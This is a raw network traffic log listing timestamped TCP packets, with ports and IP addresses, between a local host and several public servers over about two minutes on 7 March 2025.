Mar 7, 2025 10:14:26.443361044 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:26.447192907 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:26.447217941 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:26.450138092 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:26.450206041 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:26.450556040 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:26.450638056 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:26.450726032 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:26.450736046 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:26.498193979 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:26.875828028 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:26.900130987 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:26.900214911 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:26.900230885 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:26.951724052 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:26.965584993 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:26.966883898 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:26.966947079 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:26.966957092 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:26.999136925 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:26.999171972 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:26.999198914 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:26.999211073 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:26.999260902 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:26.999268055 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.044950008 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:27.050582886 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.073189974 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.073266029 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:27.073277950 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.123363972 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:27.210654974 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.210680008 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.210696936 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.210738897 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.210757971 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.210758924 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:27.210783958 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.210844040 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:27.210860968 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.210908890 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:27.567075014 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.567105055 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.567121983 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.567169905 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.567171097 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:27.567188978 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.567213058 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.567246914 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:27.567281961 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.567298889 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:27.567336082 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:27.610024929 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.610045910 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.610085011 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.610179901 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:27.610192060 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:27.610361099 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:27.618860006 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.618976116 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.619039059 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:27.619072914 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.663490057 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.663557053 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:27.663570881 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.682565928 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.682715893 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:27.682730913 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.705024004 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.705183983 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:27.705193996 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.739883900 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.739996910 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:27.740006924 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.773188114 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.773260117 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:27.773271084 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.808203936 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.808295012 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.808316946 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:27.808343887 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.808392048 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:27.829969883 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.862972021 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.863058090 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.863095045 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:27.863111973 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.863171101 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:27.884464979 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.884669065 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.884725094 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:27.884735107 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.919195890 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.919274092 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:27.919281960 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.954993963 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.955094099 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.955100060 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:27.955121994 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:27.955163002 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:27.974328995 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:28.029545069 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:28.061966896 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:28.098813057 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:28.098893881 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:28.098917007 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:28.099015951 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:28.099075079 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:28.099091053 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:28.141573906 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:28.141591072 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:28.142122984 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:28.142191887 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:28.142205954 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:28.142491102 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:28.142548084 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:28.147397041 CET	49745	443	192.168.2.5	104.17.25.14
Mar 7, 2025 10:14:28.147430897 CET	443	49745	104.17.25.14	192.168.2.5
Mar 7, 2025 10:14:28.167732000 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:28.167762995 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:28.167805910 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:28.167834997 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:28.167866945 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:28.167886972 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:28.167916059 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:28.234827995 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:28.234939098 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:28.234947920 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:28.235008955 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:28.235080957 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:28.235435009 CET	49744	443	192.168.2.5	151.101.2.137
Mar 7, 2025 10:14:28.235455036 CET	443	49744	151.101.2.137	192.168.2.5
Mar 7, 2025 10:14:28.833606958 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:28.834733009 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:28.834750891 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:28.838010073 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:28.838085890 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:28.838556051 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:28.838635921 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:28.838735104 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:28.838742971 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:28.888824940 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:29.072864056 CET	443	49753	104.16.6.189	192.168.2.5
Mar 7, 2025 10:14:29.073343992 CET	49753	443	192.168.2.5	104.16.6.189
Mar 7, 2025 10:14:29.073412895 CET	443	49753	104.16.6.189	192.168.2.5
Mar 7, 2025 10:14:29.074470043 CET	443	49753	104.16.6.189	192.168.2.5
Mar 7, 2025 10:14:29.074558973 CET	49753	443	192.168.2.5	104.16.6.189
Mar 7, 2025 10:14:29.075666904 CET	49753	443	192.168.2.5	104.16.6.189
Mar 7, 2025 10:14:29.075740099 CET	443	49753	104.16.6.189	192.168.2.5
Mar 7, 2025 10:14:29.075886011 CET	49753	443	192.168.2.5	104.16.6.189
Mar 7, 2025 10:14:29.075922012 CET	443	49753	104.16.6.189	192.168.2.5
Mar 7, 2025 10:14:29.123225927 CET	49753	443	192.168.2.5	104.16.6.189
Mar 7, 2025 10:14:29.638726950 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:29.671199083 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:29.671247959 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:29.671341896 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:29.671355963 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:29.671428919 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:29.716471910 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:29.763799906 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:29.920181036 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:29.947132111 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:29.947221041 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:29.947232008 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:29.947273970 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:29.947325945 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:29.959664106 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:29.959819078 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:29.959898949 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:29.959908009 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:29.982055902 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:29.982182026 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:29.982213020 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:29.985004902 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:29.985071898 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:29.985081911 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:29.991777897 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:29.991849899 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:29.991858006 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:29.998529911 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:29.998595953 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:29.998604059 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:30.009320974 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:30.009387970 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:30.009397030 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:30.011960030 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:30.012022018 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:30.012028933 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:30.037090063 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:30.037195921 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:30.037218094 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:30.037270069 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:30.037324905 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:30.043523073 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:30.056278944 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:30.056394100 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:30.056397915 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:30.056418896 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:30.056483984 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:30.104073048 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:30.107215881 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:30.107321978 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:30.107326031 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:30.107352972 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:30.107420921 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:30.126749992 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:30.127002954 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:30.127100945 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:30.127334118 CET	49751	443	192.168.2.5	104.18.95.41
Mar 7, 2025 10:14:30.127348900 CET	443	49751	104.18.95.41	192.168.2.5
Mar 7, 2025 10:14:30.457304001 CET	443	49753	104.16.6.189	192.168.2.5
Mar 7, 2025 10:14:30.457570076 CET	443	49753	104.16.6.189	192.168.2.5
Mar 7, 2025 10:14:30.457703114 CET	49753	443	192.168.2.5	104.16.6.189
Mar 7, 2025 10:14:30.458252907 CET	49753	443	192.168.2.5	104.16.6.189
Mar 7, 2025 10:14:30.458283901 CET	443	49753	104.16.6.189	192.168.2.5
Mar 7, 2025 10:14:30.474169016 CET	49759	443	192.168.2.5	104.16.4.189
Mar 7, 2025 10:14:30.474195004 CET	443	49759	104.16.4.189	192.168.2.5
Mar 7, 2025 10:14:30.474263906 CET	49759	443	192.168.2.5	104.16.4.189
Mar 7, 2025 10:14:30.474513054 CET	49759	443	192.168.2.5	104.16.4.189
Mar 7, 2025 10:14:30.474529028 CET	443	49759	104.16.4.189	192.168.2.5
Mar 7, 2025 10:14:32.360932112 CET	443	49759	104.16.4.189	192.168.2.5
Mar 7, 2025 10:14:32.361375093 CET	49759	443	192.168.2.5	104.16.4.189
Mar 7, 2025 10:14:32.361443996 CET	443	49759	104.16.4.189	192.168.2.5
Mar 7, 2025 10:14:32.364984035 CET	443	49759	104.16.4.189	192.168.2.5
Mar 7, 2025 10:14:32.365134001 CET	49759	443	192.168.2.5	104.16.4.189
Mar 7, 2025 10:14:32.365540028 CET	49759	443	192.168.2.5	104.16.4.189
Mar 7, 2025 10:14:32.365699053 CET	49759	443	192.168.2.5	104.16.4.189
Mar 7, 2025 10:14:32.365722895 CET	443	49759	104.16.4.189	192.168.2.5
Mar 7, 2025 10:14:32.420279026 CET	49759	443	192.168.2.5	104.16.4.189
Mar 7, 2025 10:14:32.420315027 CET	443	49759	104.16.4.189	192.168.2.5
Mar 7, 2025 10:14:32.467214108 CET	49759	443	192.168.2.5	104.16.4.189
Mar 7, 2025 10:14:32.943451881 CET	443	49759	104.16.4.189	192.168.2.5
Mar 7, 2025 10:14:32.943619013 CET	443	49759	104.16.4.189	192.168.2.5
Mar 7, 2025 10:14:32.943702936 CET	49759	443	192.168.2.5	104.16.4.189
Mar 7, 2025 10:14:32.944681883 CET	49759	443	192.168.2.5	104.16.4.189
Mar 7, 2025 10:14:32.944725037 CET	443	49759	104.16.4.189	192.168.2.5
Mar 7, 2025 10:14:43.938724041 CET	443	49731	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:43.938819885 CET	443	49731	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:43.938899040 CET	49731	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:44.343930960 CET	49731	443	192.168.2.5	3.167.227.11
Mar 7, 2025 10:14:44.343969107 CET	443	49731	3.167.227.11	192.168.2.5
Mar 7, 2025 10:14:49.263974905 CET	49711	80	192.168.2.5	15.197.175.4
Mar 7, 2025 10:14:49.269361019 CET	80	49711	15.197.175.4	192.168.2.5
Mar 7, 2025 10:14:50.701602936 CET	49712	80	192.168.2.5	15.197.175.4
Mar 7, 2025 10:14:50.993221998 CET	80	49712	15.197.175.4	192.168.2.5
Mar 7, 2025 10:15:04.343858004 CET	49711	80	192.168.2.5	15.197.175.4
Mar 7, 2025 10:15:04.349807024 CET	80	49711	15.197.175.4	192.168.2.5
Mar 7, 2025 10:15:04.349893093 CET	49711	80	192.168.2.5	15.197.175.4
Mar 7, 2025 10:15:04.852251053 CET	80	49712	15.197.175.4	192.168.2.5
Mar 7, 2025 10:15:04.852349997 CET	49712	80	192.168.2.5	15.197.175.4
Mar 7, 2025 10:15:06.343712091 CET	49712	80	192.168.2.5	15.197.175.4
Mar 7, 2025 10:15:06.348936081 CET	80	49712	15.197.175.4	192.168.2.5
Mar 7, 2025 10:15:08.468478918 CET	49785	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:15:08.468523026 CET	443	49785	216.58.206.36	192.168.2.5
Mar 7, 2025 10:15:08.468619108 CET	49785	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:15:08.468861103 CET	49785	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:15:08.468892097 CET	443	49785	216.58.206.36	192.168.2.5
Mar 7, 2025 10:15:10.509116888 CET	443	49785	216.58.206.36	192.168.2.5
Mar 7, 2025 10:15:10.509476900 CET	49785	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:15:10.509532928 CET	443	49785	216.58.206.36	192.168.2.5
Mar 7, 2025 10:15:10.510634899 CET	443	49785	216.58.206.36	192.168.2.5
Mar 7, 2025 10:15:10.510943890 CET	49785	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:15:10.511126995 CET	443	49785	216.58.206.36	192.168.2.5
Mar 7, 2025 10:15:10.560831070 CET	49785	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:15:20.021174908 CET	443	49785	216.58.206.36	192.168.2.5
Mar 7, 2025 10:15:20.021341085 CET	443	49785	216.58.206.36	192.168.2.5
Mar 7, 2025 10:15:20.021424055 CET	49785	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:15:20.345027924 CET	49785	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:15:20.345089912 CET	443	49785	216.58.206.36	192.168.2.5
Mar 7, 2025 10:16:08.531546116 CET	49787	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:16:08.531601906 CET	443	49787	216.58.206.36	192.168.2.5
Mar 7, 2025 10:16:08.531729937 CET	49787	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:16:08.532183886 CET	49787	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:16:08.532224894 CET	443	49787	216.58.206.36	192.168.2.5
Mar 7, 2025 10:16:10.467576981 CET	443	49787	216.58.206.36	192.168.2.5
Mar 7, 2025 10:16:10.467981100 CET	49787	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:16:10.468051910 CET	443	49787	216.58.206.36	192.168.2.5
Mar 7, 2025 10:16:10.468602896 CET	443	49787	216.58.206.36	192.168.2.5
Mar 7, 2025 10:16:10.468914032 CET	49787	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:16:10.469006062 CET	443	49787	216.58.206.36	192.168.2.5
Mar 7, 2025 10:16:10.513909101 CET	49787	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:16:19.974513054 CET	443	49787	216.58.206.36	192.168.2.5
Mar 7, 2025 10:16:19.974580050 CET	443	49787	216.58.206.36	192.168.2.5
Mar 7, 2025 10:16:19.974895954 CET	49787	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:16:20.344964981 CET	49787	443	192.168.2.5	216.58.206.36
Mar 7, 2025 10:16:20.345035076 CET	443	49787	216.58.206.36	192.168.2.5
Mar 7, 2025 10:16:35.016551018 CET	49788	443	192.168.2.5	104.21.16.1
Mar 7, 2025 10:16:35.016659021 CET	443	49788	104.21.16.1	192.168.2.5
Mar 7, 2025 10:16:35.016796112 CET	49788	443	192.168.2.5	104.21.16.1
Mar 7, 2025 10:16:35.020239115 CET	49788	443	192.168.2.5	104.21.16.1
Mar 7, 2025 10:16:35.020267963 CET	443	49788	104.21.16.1	192.168.2.5
Mar 7, 2025 10:16:37.014177084 CET	443	49788	104.21.16.1	192.168.2.5
Mar 7, 2025 10:16:37.014605999 CET	49788	443	192.168.2.5	104.21.16.1
Mar 7, 2025 10:16:37.014643908 CET	443	49788	104.21.16.1	192.168.2.5
Mar 7, 2025 10:16:37.016163111 CET	443	49788	104.21.16.1	192.168.2.5
Mar 7, 2025 10:16:37.016359091 CET	49788	443	192.168.2.5	104.21.16.1
Mar 7, 2025 10:16:37.017574072 CET	49788	443	192.168.2.5	104.21.16.1
Mar 7, 2025 10:16:37.017666101 CET	443	49788	104.21.16.1	192.168.2.5
Mar 7, 2025 10:16:37.017822027 CET	49788	443	192.168.2.5	104.21.16.1
Mar 7, 2025 10:16:37.017839909 CET	443	49788	104.21.16.1	192.168.2.5
Mar 7, 2025 10:16:37.067429066 CET	49788	443	192.168.2.5	104.21.16.1
Mar 7, 2025 10:16:38.294280052 CET	443	49788	104.21.16.1	192.168.2.5
Mar 7, 2025 10:16:38.348628998 CET	49788	443	192.168.2.5	104.21.16.1
Mar 7, 2025 10:16:38.348689079 CET	443	49788	104.21.16.1	192.168.2.5
Mar 7, 2025 10:16:38.350234032 CET	443	49788	104.21.16.1	192.168.2.5
Mar 7, 2025 10:16:38.350326061 CET	49788	443	192.168.2.5	104.21.16.1
Mar 7, 2025 10:16:38.350399017 CET	49788	443	192.168.2.5	104.21.16.1
Mar 7, 2025 10:16:38.350434065 CET	443	49788	104.21.16.1	192.168.2.5
Mar 7, 2025 10:16:38.519943953 CET	49789	443	192.168.2.5	104.21.32.1
Mar 7, 2025 10:16:38.520056963 CET	443	49789	104.21.32.1	192.168.2.5
Mar 7, 2025 10:16:38.520139933 CET	49789	443	192.168.2.5	104.21.32.1
Mar 7, 2025 10:16:38.520628929 CET	49789	443	192.168.2.5	104.21.32.1
Mar 7, 2025 10:16:38.520678043 CET	443	49789	104.21.32.1	192.168.2.5
Mar 7, 2025 10:16:41.358310938 CET	443	49789	104.21.32.1	192.168.2.5
Mar 7, 2025 10:16:41.359280109 CET	49789	443	192.168.2.5	104.21.32.1
Mar 7, 2025 10:16:41.359344006 CET	443	49789	104.21.32.1	192.168.2.5
Mar 7, 2025 10:16:41.360806942 CET	443	49789	104.21.32.1	192.168.2.5
Mar 7, 2025 10:16:41.360897064 CET	49789	443	192.168.2.5	104.21.32.1
Mar 7, 2025 10:16:41.361186028 CET	49789	443	192.168.2.5	104.21.32.1
Mar 7, 2025 10:16:41.361277103 CET	443	49789	104.21.32.1	192.168.2.5
Mar 7, 2025 10:16:41.361323118 CET	49789	443	192.168.2.5	104.21.32.1
Mar 7, 2025 10:16:41.404120922 CET	49789	443	192.168.2.5	104.21.32.1
Mar 7, 2025 10:16:41.404155970 CET	443	49789	104.21.32.1	192.168.2.5
Mar 7, 2025 10:16:41.451023102 CET	49789	443	192.168.2.5	104.21.32.1
Mar 7, 2025 10:16:42.862930059 CET	443	49789	104.21.32.1	192.168.2.5
Mar 7, 2025 10:16:42.863192081 CET	443	49789	104.21.32.1	192.168.2.5
Mar 7, 2025 10:16:42.863534927 CET	49789	443	192.168.2.5	104.21.32.1
Mar 7, 2025 10:16:42.865382910 CET	49789	443	192.168.2.5	104.21.32.1
Mar 7, 2025 10:16:42.865425110 CET	443	49789	104.21.32.1	192.168.2.5
Mar 7, 2025 10:16:44.984533072 CET	49790	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:16:44.984586000 CET	443	49790	172.67.134.191	192.168.2.5
Mar 7, 2025 10:16:44.984740973 CET	49790	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:16:44.987333059 CET	49790	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:16:44.987354040 CET	443	49790	172.67.134.191	192.168.2.5
Mar 7, 2025 10:16:46.825225115 CET	443	49790	172.67.134.191	192.168.2.5
Mar 7, 2025 10:16:46.825629950 CET	49790	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:16:46.825658083 CET	443	49790	172.67.134.191	192.168.2.5
Mar 7, 2025 10:16:46.826105118 CET	443	49790	172.67.134.191	192.168.2.5
Mar 7, 2025 10:16:46.826740026 CET	49790	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:16:46.826818943 CET	443	49790	172.67.134.191	192.168.2.5
